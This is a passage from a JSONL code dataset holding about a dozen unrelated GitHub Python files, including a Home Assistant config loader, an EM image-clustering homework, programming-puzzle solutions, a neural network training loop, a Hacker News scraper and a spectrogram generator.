\").capitalize()\n new_title = \"\"\n for word in title.split():\n if word.lower() in fmtrules[\"abbreviations\"]:\n new_title += word.upper()\n new_title += \" \"\n continue\n elif word.lower() in fmtrules[\"capitalizeWords\"]:\n new_title += word.capitalize()\n new_title += \" \"\n continue\n new_title += word\n new_title += \" \"\n return new_title.strip()\n return title\n","repo_name":"Security-Experts-Community/ERMACK","sub_path":"ermack/utils/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":6625,"program_lang":"python","lang":"en","doc_type":"code","stars":29,"dataset":"github-code","pt":"62"} +{"seq_id":"17838575227","text":"from __future__ import annotations\n\nimport logging\nimport sys\nfrom dataclasses import dataclass, field\nfrom typing import TextIO\n\nimport pytz\nfrom astral import LocationInfo\nfrom astral.location import Location\nfrom dataclass_wizard import YAMLWizard\nfrom pytz import BaseTzInfo\n\nfrom domovoy.core.errors import DomovoyError\n\n\n@dataclass(frozen=True)\nclass MainConfig(YAMLWizard):\n app_suffix: str\n timezone: str\n hass_access_token: str\n hass_url: str\n app_path: str\n install_pip_dependencies: bool\n astral: AstralConfig | None = None\n\n logs: dict[str, LoggingConfig] = field(default_factory=dict)\n # plugins: dict[str, dict[str, Any]] = field(default_factory=dict)\n\n def get_timezone(self) -> BaseTzInfo:\n return pytz.timezone(self.timezone)\n\n def get_astral_location(self) -> Location | None:\n if self.astral is None:\n return None\n\n return Location(\n LocationInfo(\n self.astral.name,\n self.astral.region,\n self.astral.timezone,\n self.astral.latitude,\n self.astral.longitude,\n ),\n )\n\n\n@dataclass\nclass AstralConfig:\n name: str\n region: str\n timezone: str\n latitude: float\n longitude: float\n\n\n@dataclass\nclass LoggingConfig:\n log_level: str | None = \"info\"\n output_filename: str | None = None\n write_to_stdout: bool | None = True\n formatter: str | None = \"[%(asctime)s][%(levelname)s][%(name)s] %(message)s\"\n formatter_with_app_name: str | None = \"[%(asctime)s][%(levelname)s][%(name)s][%(app_name)s] %(message)s\"\n\n def get_actual_output_stream(self) -> TextIO | None:\n if self.write_to_stdout is None or self.write_to_stdout is True:\n return sys.stdout\n\n if self.write_to_stdout is False:\n return None\n\n msg = f\"Invalid value for output_stream: {self.write_to_stdout}\"\n raise ValueError(msg)\n\n def get_numeric_log_level(self) -> int:\n if self.log_level == \"critical\":\n return logging.CRITICAL\n\n if self.log_level == \"error\":\n return logging.ERROR\n\n if self.log_level == \"warning\":\n return logging.WARNING\n\n if self.log_level == \"info\":\n return logging.INFO\n\n if self.log_level == \"debug\":\n return logging.DEBUG\n\n return 0\n\n def __add__(self, b: LoggingConfig) -> LoggingConfig:\n result = LoggingConfig(\n log_level=self.log_level,\n output_filename=self.output_filename,\n write_to_stdout=self.write_to_stdout,\n formatter=self.formatter,\n formatter_with_app_name=self.formatter_with_app_name,\n )\n\n if b.log_level is not None:\n result.log_level = b.log_level\n\n if b.output_filename is not None:\n result.output_filename = b.output_filename\n\n if b.write_to_stdout is not None:\n result.write_to_stdout = b.write_to_stdout\n\n if b.formatter is not None:\n result.formatter = b.formatter\n\n if b.formatter_with_app_name is not None:\n result.formatter_with_app_name = b.formatter_with_app_name\n\n return result\n\n\ndef load_main_config_from_yaml(config: str, source: str) -> None:\n from domovoy.core.logging import get_logger\n\n get_logger(__name__).info(\n \"Loading Configuration for Domovoy from: {source}\",\n source=source,\n )\n\n main_config = MainConfig.from_yaml(config)\n\n if isinstance(main_config, MainConfig):\n pass\n elif len(main_config) == 1:\n main_config = main_config[0]\n else:\n get_logger(__name__).error(\"Configuration is not valid\")\n return\n\n set_main_config(main_config)\n\n\n_main_config = None\n\n\ndef set_main_config(config: MainConfig) -> None:\n global _main_config\n from domovoy.core.logging import get_logger\n\n if _main_config is not None:\n e = DomovoyError(\n \"Main Config is already set. It cannot be set to a new value\",\n )\n get_logger(__name__).exception(e)\n raise e\n\n _main_config = config\n\n\ndef get_main_config() -> MainConfig:\n if _main_config is None:\n raise DomovoyError(\"Main configuration has not been set\")\n\n return _main_config\n","repo_name":"carlos-sarmiento/domovoy","sub_path":"domovoy/core/configuration.py","file_name":"configuration.py","file_ext":"py","file_size_in_byte":4291,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"62724355","text":"#Matthew Bitter - MCS-DS\r\n#CS498\r\n#April 7th, 2018 - HW7 Problem 2\r\n\r\n#Import libraries\r\nimport pandas as pd\r\nimport numpy as np\r\nimport imageio\r\nimport matplotlib.pyplot as plt\r\nfrom sklearn.cluster import KMeans\r\n\r\n#Configuration parameters, number of clusters and iterations\r\nn_clusters = 10\r\niternations = 100\r\n\r\n#loading image and reshaping to one row per pixel (rgb)\r\nimg = np.array(imageio.imread('smallsunset.jpg'))\r\nimgf = img.reshape((img.shape[0]*img.shape[1], 3)).astype(np.uint8)\r\n\r\n#selecting clusters using kmeans with a random seed.\r\nkm = KMeans(n_clusters=n_clusters, random_state=8).fit(imgf)\r\n#assiging cluster centers\r\ncc = np.round(km.cluster_centers_)\r\n#assgning cluster labels\r\nlabel = km.labels_\r\n\r\n#turning into pandas dataframe for convenience of pivot_table function\r\nimgfdf = pd.DataFrame(imgf)\r\nimgfdf['label'] = label #assigning label to the df\r\n#storing a backup array for later\r\nimgdup = np.array(imgfdf)\r\n\r\n### Pi initialization\r\n######################\r\n# by counting pixels assigned to cluster from kmeans\r\n#pi sums to one\r\npicount = (imgfdf.pivot_table(index='label',aggfunc=len))\r\npicount = picount/picount.iloc[:,0].sum()\r\npicount = np.array(picount.iloc[:,0])\r\n\r\n### W initialization\r\n######################\r\n#setting up empty arrays\r\nxminusu = np.zeros(shape=(imgf.shape[0],3))\r\nwtoplist = np.zeros(shape=(n_clusters,imgf.shape[0]))\r\npitracker = np.zeros(shape=(iternations,n_clusters))\r\nutracker = np.zeros(shape=(iternations,3))\r\ndistancetracker = np.zeros(shape=(n_clusters,imgf.shape[0]))\r\n\r\n#calculating the distance \"dmin\" by looping over clusters and removing the cluster center\r\n#then squaring and summing all the rows up to give distance per pixel. keeping track of them per cluster\r\nfor i in range(0,n_clusters):\r\n xminusu[:, 2] = imgdup[:, 2] - cc[i][2]\r\n xminusu[:, 1] = imgdup[:, 1] - cc[i][1]\r\n xminusu[:, 0] = imgdup[:, 0] - cc[i][0]\r\n\r\n distance = np.sqrt(np.sum(np.square(xminusu), axis=1))\r\n distancetracker[i] = distance\r\n\r\n#finding the smallest distance to each pixel and storing the value\r\ndistancesmall = np.round(np.amin(distancetracker,axis=0)) #rounding them off since they are pixels\r\n\r\n\r\n#calculating w by looping over clusters. calculating the x - u for each pixel.\r\n#squaring the different and summing up all the rows to give number of pixels array for each cluster\r\n#then *-1 to make it negative and divide by 2, then subtract the distance to ensure no precision issues\r\n#the calculation in the power has negative numbers before exponent.\r\n#exponent the value and then times by pi. the denominator is just the sum because i am no longer in log space.\r\nfor i in range(0,n_clusters):\r\n xminusu[:, 2] = imgdup[:, 2] - cc[i][2]\r\n xminusu[:, 1] = imgdup[:, 1] - cc[i][1]\r\n xminusu[:, 0] = imgdup[:, 0] - cc[i][0]\r\n\r\n wtop = np.exp(((np.sum(np.square(xminusu),axis=1)-np.square(distancesmall))*-1)/2) #numerator\r\n wtoppi = wtop*picount[i] #numerator\r\n wtoplist[i] = wtoppi\r\nwbot = wtoplist.sum(axis=0) #denominator\r\nw = wtoplist/wbot\r\n\r\n### Start of EM algorithim loops\r\n################################\r\nfor i in range(0,iternations):\r\n #calculating u. matrix multiplication of X and W\r\n utop = np.dot(imgdup[:, :3].T, w.T) #leave a 3x10\r\n ubot = w.sum(axis=1) #sum up w across pixels to leave 1x10\r\n u = utop / ubot #divide to get u pixels\r\n utracker[i] = u[:,0]\r\n\r\n # calculating pi. same bot that was used in u over number of pixels\r\n pi = ubot / imgf.shape[0]\r\n pitracker[i] = pi\r\n\r\n #calculating distance dmin to use in w calculation same logic as in initialization\r\n #looping over clusters to calculate distance\r\n for f in range(0, n_clusters):\r\n xminusu[:, 2] = imgdup[:, 2] - u[2][f]\r\n xminusu[:, 1] = imgdup[:, 1] - u[1][f]\r\n xminusu[:, 0] = imgdup[:, 0] - u[0][f]\r\n\r\n distance = np.sqrt(np.sum(np.square(xminusu), axis=1))\r\n distancetracker[f] = distance\r\n\r\n distancesmall = np.round(np.amin(distancetracker, axis=0))\r\n\r\n #looping over clusters to calculate w. same logic as in initialization\r\n #x minus u and stores the results for each pixel. square the result and sum up giving number of pixels\r\n #subtract the distance calculated in the distance loop for each pixel. *-1 to get negative and div by 2\r\n #exponent the result to get out of log space and multiply by pi. store this for each cluster.\r\n #the denominator is the sum of the numerator\r\n for k in range(0, n_clusters):\r\n xminusu[:, 2] = imgdup[:, 2] - u[2][k] #x - u\r\n xminusu[:, 1] = imgdup[:, 1] - u[1][k]\r\n xminusu[:, 0] = imgdup[:, 0] - u[0][k]\r\n\r\n #wtop = np.exp(((np.sum(np.square(xminusu), axis=1)) * -1) / 2)\r\n wtop = np.exp(((np.sum(np.square(xminusu), axis=1) - np.square(distancesmall)) * -1) / 2)\r\n wtoppi = wtop * pi[k] #w numerator * pi\r\n\r\n wtoplist[k] = wtoppi #numerator\r\n\r\n wbot = wtoplist.sum(axis=0) #denominator\r\n w = wtoplist / wbot[:, None].T\r\n\r\n\r\n#finding the best cluster per pixel\r\ntopclusterpixel = np.argmax(w,axis=0)\r\n\r\n#generating image using the mean pixels from u\r\nEMimg = u[:,topclusterpixel]\r\nEMimg = EMimg.astype(np.uint8)\r\nEMreshape = EMimg.T.reshape((img.shape[0], img.shape[1], 3))\r\nplt.imshow(EMreshape) #EM image\r\n#plt.imshow(img) #original image\r\n\r\n#convergence plots to indicate when we can stop the iterations\r\n#difference of absolute u's over iterations\r\nudiff = np.abs(utracker[:-1,:] - utracker[1:,:])\r\nplt.plot(udiff[:,0])\r\n\r\n#differents of absolute pi's over iterations\r\npidiff = np.abs(pitracker[:-1,:] - pitracker[1:,:])\r\nplt.plot(pidiff[:,0])\r\n","repo_name":"mattbitter/Expectation_Maximization_fromScratch","sub_path":"ImageLowRes.py","file_name":"ImageLowRes.py","file_ext":"py","file_size_in_byte":5607,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"45940321970","text":"import sys\n\ninput = sys.stdin.readline\n\nfor _ in range(int(input())):\n n, x = map(int, input().split())\n data = sorted(set(map(int, input().split())))\n\n memo = [False] * (max(data) + 1)\n for i in data:\n memo[i] = True\n\n rest = x\n ans = -1\n for i in range(1, len(memo)):\n if not memo[i] and rest:\n memo[i] = True\n rest -= 1\n if memo[i]:\n ans = i\n else:\n break\n\n if rest:\n ans += rest\n\n print(ans)","repo_name":"ThinkingDobby/PythonProgramming","sub_path":"codeforces/practice/year22/mon9/under1000/1336A. Dreamoon and Ranking Collection.py","file_name":"1336A. Dreamoon and Ranking Collection.py","file_ext":"py","file_size_in_byte":501,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"13598150594","text":"class Solution():\n def twoSum(self, arr, s):\n \"\"\"Return indices of the two members producing the required sum\"\"\"\n residual_dict = {}\n for i, num in enumerate(arr):\n if (s - num) in residual_dict:\n return([residual_dict[s-num]+1, i+1])\n else:\n residual_dict[num] = i\n \nif __name__ == \"__main__\":\n sln = Solution()\n n_trips = int(input().strip())\n for _ in range(n_trips):\n s = int(input().strip())\n m = int(input().strip())\n arr = [int(num) for num in input().strip().split()]\n result = ' '.join([str(num) for num in sln.twoSum(arr, s)])\n print(result)","repo_name":"patrick-llgc/HackerRank","sub_path":"Ice_Cream_Parlor.py","file_name":"Ice_Cream_Parlor.py","file_ext":"py","file_size_in_byte":686,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"28976730121","text":"\"\"\"\nRemove Dups: Write code to remove duplicates from an unsorted linked list.\nFOLLOW UP\nHow would you solve this problem if a temporary buffer is not allowed?\n\nTo solve this problem without buffer.\nSolution1: We can do merge sort. After sorted, all nodes have same values will be nearby so they are easy to be removed\nT(n): nlog(n)\n\nSolution2: Have 2 pointers. Normal pointer goes one by one and the other to from that pointer to the tail and compare if\nis there any node equal to the value of current pointer and remove it.\nT(n): n^2\n\"\"\"\nimport unittest\nfrom LinkedList import LinkedList\n\n\ndef remove_dup(ll):\n if not ll.head:\n return\n\n seen = set()\n prev = head = ll.head\n\n while head:\n if head.val in seen:\n prev.next = head.next\n head.next = None\n head = prev.next\n else:\n seen.add(head.val)\n prev = head\n head = head.next\n\n\nclass Test(unittest.TestCase):\n def test_remove_dup(self):\n ll = LinkedList()\n vals = [7, 3, 4, 5, 6, 7, 10, 100, 4, 7]\n ll.add_nodes_to_tail(vals)\n remove_dup(ll)\n expect = [7, 3, 4, 5, 6, 10, 100]\n self.assertEqual(expect, ll.to_list(), \"Should remove all duplicate nodes from LinkedList\")\n\n ll = LinkedList()\n vals = [-7, -10, -9, 1, 4, 0, 666, 4332, 334, 52, -7, 666, -1, -1, 1]\n ll.add_nodes_to_tail(vals)\n remove_dup(ll)\n expect = [-7, -10, -9, 1, 4, 0, 666, 4332, 334, 52, -1]\n self.assertEqual(expect, ll.to_list(), \"Should remove all duplicate nodes from LinkedList\")\n\n ll = LinkedList()\n vals = [1, 1, 1, 1, 1, 1, 1, 1, 1]\n ll.add_nodes_to_tail(vals)\n remove_dup(ll)\n expect = [1]\n self.assertEqual(expect, ll.to_list(), \"Should remove all duplicate nodes from LinkedList\")\n\n ll = LinkedList()\n vals = []\n ll.add_nodes_to_tail(vals)\n remove_dup(ll)\n expect = []\n self.assertEqual(expect, ll.to_list(), \"Should remove all duplicate nodes from LinkedList\")","repo_name":"DKNY1201/cracking-the-coding-interview","sub_path":"LinkedList/2_1_RemoveDups.py","file_name":"2_1_RemoveDups.py","file_ext":"py","file_size_in_byte":2064,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"42985822413","text":"import sys\n\nimport torch\n\nfrom src.model import FashionMinstModel\nfrom torch import nn, optim\nfrom datetime import datetime\n\n\ndef test_model(model: FashionMinstModel, test_loader, criterion):\n test_correct = 0\n test_loss = 0.0\n test_size = len(test_loader.dataset)\n\n with torch.no_grad():\n model.eval()\n forward_cnt = 0.0\n for data, labels in test_loader:\n log_output = model.forward(data)\n loss = criterion(log_output, labels)\n forward_cnt += 1\n test_loss += loss.item()\n _, top_class = torch.exp(log_output).topk(1, dim=1)\n top_class = top_class.view(-1)\n test_correct += (torch.sum(top_class == labels)).item()\n\n test_accuracy = (test_correct / float(test_size)) * 100.0\n print()\n model.train()\n test_loss /= float(len(test_loader))\n return test_loss, test_accuracy\n\n\ndef train(model: FashionMinstModel, epochs, learning_rate, train_loader, test_loader=None,\n weights_save_pth=\"../model_weights\"):\n criterion = nn.NLLLoss()\n optimizer = optim.Adam(model.parameters(), lr=learning_rate)\n train_size = len(train_loader.dataset)\n\n train_losses, test_losses = [], []\n epochs_train_accuracy, epochs_test_accuracy = [], []\n min_test_loss = 10000.0\n min_train_loss = 10000.0\n\n # test the model before training\n test_loss, test_accuracy = test_model(model, test_loader, criterion)\n print(\n f\"model testLoss and accuracy before training \\nTest Loss:{str(test_loss)[:8]} Test Accuracy:{str(test_accuracy)[:8]}%\\n\")\n\n for e in range(epochs):\n train_loss = 0.0\n train_correct = 0\n\n forward_cnt = 0.0\n # ___________________Train Model_____________________\n\n for data, labels in train_loader:\n # ___________________feedForward_____________________\n\n optimizer.zero_grad()\n log_output = model.forward(data)\n loss = criterion(log_output, labels)\n forward_cnt += 1\n\n # ___________________backpropagation_____________________\n\n loss.backward()\n optimizer.step()\n train_loss += loss.item()\n\n # _____________ calculate correct output from feed batches ____________\n _, top_class = torch.exp(log_output).topk(1, dim=1)\n top_class = top_class.view(-1)\n train_correct += (torch.sum(top_class == labels)).item()\n\n # ___________________Test Model_____________________\n test_loss, test_accuracy = test_model(model, test_loader, criterion)\n\n # ____________________ calculate losses and accuracy___________________\n train_loss /= float(len(train_loader))\n train_losses.append(train_loss)\n test_losses.append(test_loss)\n\n train_accuracy = (train_correct / float(train_size)) * 100.0\n epochs_train_accuracy.append(train_accuracy)\n\n epochs_test_accuracy.append(test_accuracy)\n\n # ____________________ print Training data ___________________\n\n print(\"Epoch: {}/{}.. \".format(e + 1, epochs),\n \"Training Loss: {:.8f}.. \".format(train_loss),\n \"Test Loss: {:.8f}.. \".format(test_loss),\n \"Train Accuracy: {:.5f}%\".format(train_accuracy),\n \"Test Accuracy: {:.5f}%\".format(test_accuracy)\n )\n\n # ________________ saving model weights____________________\n # if new score in test accuracy achieved save model weights with file name and time and train_acc and test_acc\n if min_test_loss > test_loss and min_train_loss > train_loss :\n time = datetime.now().strftime(\"%d_%m %I_%M\")\n file_name = f\"{time} train_{int(train_accuracy)} test_{int(test_accuracy)}.pt\"\n full_pth = f\"{weights_save_pth}/train_weights/{file_name}\"\n print(\n f\"new min test and train loss achieved --> model weights saved in '{full_pth}'\")\n torch.save(model.state_dict(), full_pth)\n min_test_loss = test_loss\n min_train_loss = train_loss\n\n\n # ___________overfitting test___________#\n if test_loss > train_loss:\n print(\"!!!Warning overfitting!!!\")\n print()\n\n\n return train_losses, test_losses, epochs_train_accuracy, epochs_test_accuracy\n","repo_name":"ahmedbadr97/fashion-mnist-nn","sub_path":"src/model_training.py","file_name":"model_training.py","file_ext":"py","file_size_in_byte":4326,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"616401678","text":"import requests\nfrom bs4 import BeautifulSoup\nimport pprint\n\nres = requests.get('https://news.ycombinator.com/') #URL you want to grab\nres2 = requests.get('https://news.ycombinator.com/news?p=2') #URL you want to grab\nsoup = BeautifulSoup(res.text, 'html.parser') #convert from html to an object\nsoup2 = BeautifulSoup(res2.text, 'html.parser') #convert from html to an object\nlinks = soup.select('.storylink') #css selector to grab a class\nlinks2 = soup2.select('.storylink') #css selector to grab a class\nsubtext = soup.select('.subtext') \nsubtext2 = soup2.select('.subtext') \n\nmega_link = links + links2\nmega_subtext = subtext + subtext2\n\ndef create_custom_by_votes(hnlist):\n return sorted(hnlist, key = lambda k:k['votes'], reverse=True)\n\n\ndef create_custom_hn(links, subtext):\n hn = []\n for idx, item in enumerate(links):\n title = item.getText()\n href = item.get('href', None)\n votes = subtext[idx].select('.score')\n if len(votes):\n points = int(votes[0].getText().replace(' points', ''))\n if points >99:\n hn.append({'title': title, 'link': href, 'votes': points})\n return create_custom_by_votes(hn)\n\n\npprint.pprint(create_custom_hn(mega_link, mega_subtext))\n","repo_name":"ElizabethA01/Hacker-news-scraping","sub_path":"hackernews_scrape.py","file_name":"hackernews_scrape.py","file_ext":"py","file_size_in_byte":1246,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"19524648311","text":"#!/usr/bin/env python3\n\nimport os\nimport sys\nimport csv\n\ndef find_location(rec, tbl):\n name = rec[1]\n addr = rec[2]\n\n found = 0\n\n for t in tbl:\n if t[5] == name and t[6] == addr:\n found += 1\n\n return found\n\n\ndef process_file(filename, tbl):\n fp = open(filename, errors=\"ignore\")\n r = csv.reader(fp)\n hdr = None\n\n w = csv.writer(sys.stdout, lineterminator=\"\\n\")\n\n for recnum, rec in enumerate(r):\n if recnum == 0:\n hdr = rec\n continue\n\n n = find_location(rec, tbl)\n\n if n == 1:\n continue\n\n w.writerow([filename, recnum, n, rec[1], rec[2]])\n\n return\n\n\ndef load_locations(filename, tbl):\n fp = open(filename, errors=\"ignore\")\n r = csv.reader(fp)\n hdr = next(r)\n\n for recnum, rec in enumerate(r):\n tbl.append(rec)\n\n return\n\n\nif __name__ == \"__main__\":\n locations = []\n\n load_locations(sys.argv[1], locations)\n\n for filename in sys.argv[2:]:\n process_file(filename, locations)\n\n\n","repo_name":"klikz-dev/flowmsp-support-tools","sub_path":"chk_import.py","file_name":"chk_import.py","file_ext":"py","file_size_in_byte":1024,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"36352771829","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[80]:\n\n\ndef solution(sizes):\n total = sum(sizes, [])\n list1 = []\n list2 = []\n if total.index(max(total)) % 2 == 0:\n for i in range(len(sizes)):\n if sizes[i][0] <= sizes[i][1]:\n a = [sizes[i][1], sizes[i][0]]\n list1.append(a)\n else:\n a = [sizes[i][0], sizes[i][1]]\n list1.append(a)\n for k in range(len(list1)):\n list2.append(list1[k][1])\n \n else:\n for i in range(len(sizes)):\n if sizes[i][1] <= sizes[i][0]:\n a = [sizes[i][1], sizes[i][0]]\n list1.append(a)\n else:\n a = [sizes[i][0], sizes[i][1]]\n list1.append(a)\n for k in range(len(list1)):\n list2.append(list1[k][0])\n answer = max(total) * max(list2)\n \n return answer\n\n","repo_name":"Practice-Coding-Test/Weekly_Coding_Test","sub_path":"8week/8week_pjw.py","file_name":"8week_pjw.py","file_ext":"py","file_size_in_byte":908,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"39003688912","text":"# 6-2\nimport sys\n\ninputFile = open(\"day6_input.txt\")\nlines = inputFile.read().splitlines()\n\n# each coordinate: [x, y, area]\ncoordinates = {}\n\nmin_x = 500\nmin_y = 500\nmax_x = 0\nmax_y = 0\n\nfor i in range(len(lines)):\n pair = lines[i].split(\",\", 2)\n x = int(pair[0])\n y = int(pair[1])\n\n if x > max_x:\n max_x = x\n if x < min_x:\n min_x = x\n if y > max_y:\n max_y = y\n if y < min_y:\n min_y = y\n \n coordinates[i] = [x, y, 0]\n\n\n# compare every point in grid to each coordinate\nsafeRegionSize = 0\n\nfor i in range(min_x, max_x+1):\n for j in range(min_y, max_y+1):\n sumDist = 0\n \n for k in coordinates:\n point = coordinates[k]\n dist = abs(point[0] - i) + abs(point[1] - j)\n sumDist += dist\n\n #print(\"{}, {}: {}\".format(i, j, sumDist))\n if sumDist < 10000:\n safeRegionSize += 1\n\nprint(\"Safe region size: \", safeRegionSize)\n\n","repo_name":"wullsmith/advent-of-code","sub_path":"2018/6-2.py","file_name":"6-2.py","file_ext":"py","file_size_in_byte":952,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"27588663056","text":"import os\n\nimport torch\nimport librosa\nfrom librosa.feature import melspectrogram\nimport librosa.display\nimport numpy as np\n\n\nif __name__ == \"__main__\":\n root = \"FOLDER_PATH_TO_DATA_GOES_HERE\"\n output = \"FOLDER_PATH_TO_DATA_GOES_HERE\"\n\n segment_length = 10 # Seconds\n hop_length = 1024\n n_mels = 216\n\n # Get all folders in the root diretory\n stem_dirs = os.listdir(root)\n\n # Iterate over all stem dirs, load the accompaniment/vocals,\n # split the samples into segments, generate spectrograms from\n # the segemtns, and concatenate accompaniment/vocal spectrograms\n # into a single tensor.\n for i, stem_dir in enumerate(stem_dirs):\n print(f\"({i}/{len(stem_dirs)}) Working on {stem_dir}\")\n\n # Load the vocals and accompaniment\n vocals_samples, vocals_sr = librosa.load(\n os.path.join(root, stem_dir, \"vocals.wav\"))\n accom_samples, accom_sr = librosa.load(\n os.path.join(root, stem_dir, \"accompaniment.wav\"))\n\n vocals_length = int(segment_length * vocals_sr)\n accom_length = int(segment_length * accom_sr)\n\n # Iterate over all segments of the vocals and accompaniment\n for i in range(0, vocals_samples.shape[0] - vocals_length, vocals_length):\n vocals_segment = vocals_samples[i:i+vocals_length]\n accom_segment = accom_samples[i:i+accom_length]\n\n # Generate spectrograms\n vocals_spec = melspectrogram(vocals_segment, vocals_sr,\n hop_length=hop_length, n_mels=n_mels)\n accom_spec = melspectrogram(accom_segment, accom_sr,\n hop_length=hop_length, n_mels=n_mels)\n\n # Power-to-dB conversion\n vocals_spec = librosa.power_to_db(vocals_spec)\n accom_spec = librosa.power_to_db(accom_spec)\n\n # Normalize spectrograms\n vocals_spec = (vocals_spec / 80) + 1\n accom_spec = (accom_spec / 80) + 1\n\n # Convert to tensors\n vocals_spec = torch.from_numpy(vocals_spec).unsqueeze(0)\n accom_spec = torch.from_numpy(accom_spec).unsqueeze(0)\n\n # Concatenate spectrograms\n spec = torch.cat((vocals_spec, accom_spec), dim=0)\n\n # Save spectrograms\n torch.save(spec, os.path.join(output, f\"{stem_dir}_{i}.pt\"))\n\n print(\"Done!\")\n","repo_name":"Brikwerk/vocals-generation","sub_path":"data_scripts/generate_dataset_librosa.py","file_name":"generate_dataset_librosa.py","file_ext":"py","file_size_in_byte":2391,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"74443952517","text":"from pathlib import Path\nfrom shutil import copytree, rmtree, copyfileobj\nfrom subprocess import check_output, Popen, PIPE, STDOUT, CalledProcessError\nimport os\nimport gzip\n\nImport(\"env\")\n\ndef gzipFile(file):\n with open(file, 'rb') as f_in:\n with gzip.open(file + '.gz', 'wb') as f_out:\n copyfileobj(f_in, f_out)\n os.remove(file)\n\ndef flagExists(flag):\n buildFlags = env.ParseFlags(env[\"BUILD_FLAGS\"])\n for define in buildFlags.get(\"CPPDEFINES\"):\n if (define == flag or (isinstance(define, list) and define[0] == flag)):\n return True\n\ndef buildWeb():\n os.chdir(\"frontend\")\n print(\"Building interface with npm\")\n try:\n env.Execute(\"npm install\")\n env.Execute(\"npm run build\")\n buildPath = Path(\"build\")\n finally:\n os.chdir(\"..\")\n\nif (len(BUILD_TARGETS) == 0 or \"upload\" in BUILD_TARGETS):\n buildWeb()\nelse:\n print(\"Skipping build interface step for target(s): \" + \", \".join(BUILD_TARGETS))","repo_name":"edinnen/greenhouse","sub_path":"scripts/build_interface.py","file_name":"build_interface.py","file_ext":"py","file_size_in_byte":982,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"70908884038","text":"import logging\nimport os\nimport sys\nimport threading\nimport time\n\nimport cohorte\nimport cohorte.repositories\nimport cohorte.version\nimport herald\nimport jpype\nimport pelix.framework\nfrom pelix.ipopo.decorators import ComponentFactory, Provides, Validate, \\\n Invalidate, Property, Requires\nimport pelix.shell\n\n\n# iPOPO Decorators\n# COHORTE constants\n# Herald\n# JPype (Java bridge)\n# ------------------------------------------------------------------------------\n# Bundle version\n__version__ = cohorte.version.__version__\n\n# ------------------------------------------------------------------------------\n\nISOLATE_LOADER_FACTORY = 'cohorte-loader-java-factory'\n\"\"\" Forker loader factory name \"\"\"\n\nLOADER_KIND = 'osgi'\n\"\"\" Kind of isolate started with this loader \"\"\"\n\nBUNDLE_SERVICES_FOLDER = 'META-INF/services'\n\"\"\" Path of the descriptions of the bundle services (in a JAR) \"\"\"\n\nFRAMEWORK_SERVICE = 'org.osgi.framework.launch.FrameworkFactory'\n\"\"\" FrameworkFactory service descriptor in the framework JAR file \"\"\"\n\nFRAMEWORK_SYSTEMPACKAGES_EXTRA = \"org.osgi.framework.system.packages.extra\"\n\"\"\" OSGi extra system packages \"\"\"\n\nPYTHON_BRIDGE_BUNDLE_API = \"org.cohorte.pyboot.api\"\n\"\"\" Name of the Python bridge API bundle \"\"\"\n\nPYTHON_BRIDGE_BUNDLE = \"org.cohorte.pyboot\"\n\"\"\" Name of the Python bridge bundle \"\"\"\n\nPYTHON_JAVA_BRIDGE_INTERFACE = \"org.cohorte.pyboot.api.IPyBridge\"\n\"\"\" Interface of the Python - Java bridge \"\"\"\n\nHERALD_BUNDLE_API = \"org.cohorte.herald.api\"\n\"\"\" Name of the bundle and package which contain the Herald Event API \"\"\"\n\nHERALD_EVENT_INTERFACE = \"org.cohorte.herald.eventapi.IEvent\"\n\"\"\" Interface of an Herald Event \"\"\"\n\nHERALD_EVENT_FACTORY_INTERFACE = \"org.cohorte.herald.eventapi.IEventFactory\"\n\"\"\" Interface of the Herald EventFactory service \"\"\"\n\n_logger = logging.getLogger(__name__)\n\n# ------------------------------------------------------------------------------\n\n\nclass PyBridge(object):\n \"\"\"\n Python - Java bridge service implementation\n \"\"\"\n # pylint: disable=invalid-name\n # Implemented Java interface\n JAVA_INTERFACE = PYTHON_JAVA_BRIDGE_INTERFACE\n\n def __init__(self, context, jvm, java_configuration, configuration_parser,\n callback):\n \"\"\"\n Sets up the bridge\n\n :param context: The bundle context\n :param jvm: The JVM wrapper\n :param java_configuration: Java boot configuration\n :param callback: Method to call back on error or success\n \"\"\"\n # Bundle context\n self._context = context\n\n # Java class\n self.ArrayList = jvm.load_class(\"java.util.ArrayList\")\n self.Component = jvm.load_class(\"org.cohorte.pyboot.api.ComponentBean\")\n self.HashMap = jvm.load_class(\"java.util.HashMap\")\n\n # Prepare members\n self._callback = callback\n self._components = {}\n self._parser = configuration_parser\n\n # Convert stored components\n self._java_boot_config = self._to_java(java_configuration)\n self._prepare_components(java_configuration.composition)\n\n\n\n def _prepare_components(self, raw_components):\n \"\"\"\n Converts the Python Component objects into Java Component beans\n\n :param raw_components: Python components representations\n \"\"\"\n for component in raw_components:\n # Convert properties\n properties = self.HashMap()\n for key, value in component.properties.items():\n properties.put(key, value)\n\n # Store the component bean\n self._components[component.name] = \\\n self.Component(component.factory, component.name, properties)\n\n def _to_java(self, data):\n \"\"\"\n Recursively converts lists and maps to Java ones\n\n :param data: Data to be converted\n :return: Converted data\n \"\"\"\n try:\n # Named tuple (in theory)\n as_dict = getattr(data, '_asdict')\n except AttributeError:\n # Keep data as is\n pass\n else:\n data = as_dict()\n\n if isinstance(data, dict):\n # Convert a dictionary\n converted = self.HashMap()\n for key, value in data.items():\n # Convert entry\n converted.put(self._to_java(key), self._to_java(value))\n return converted\n\n elif isinstance(data, (list, tuple, set)):\n # Convert 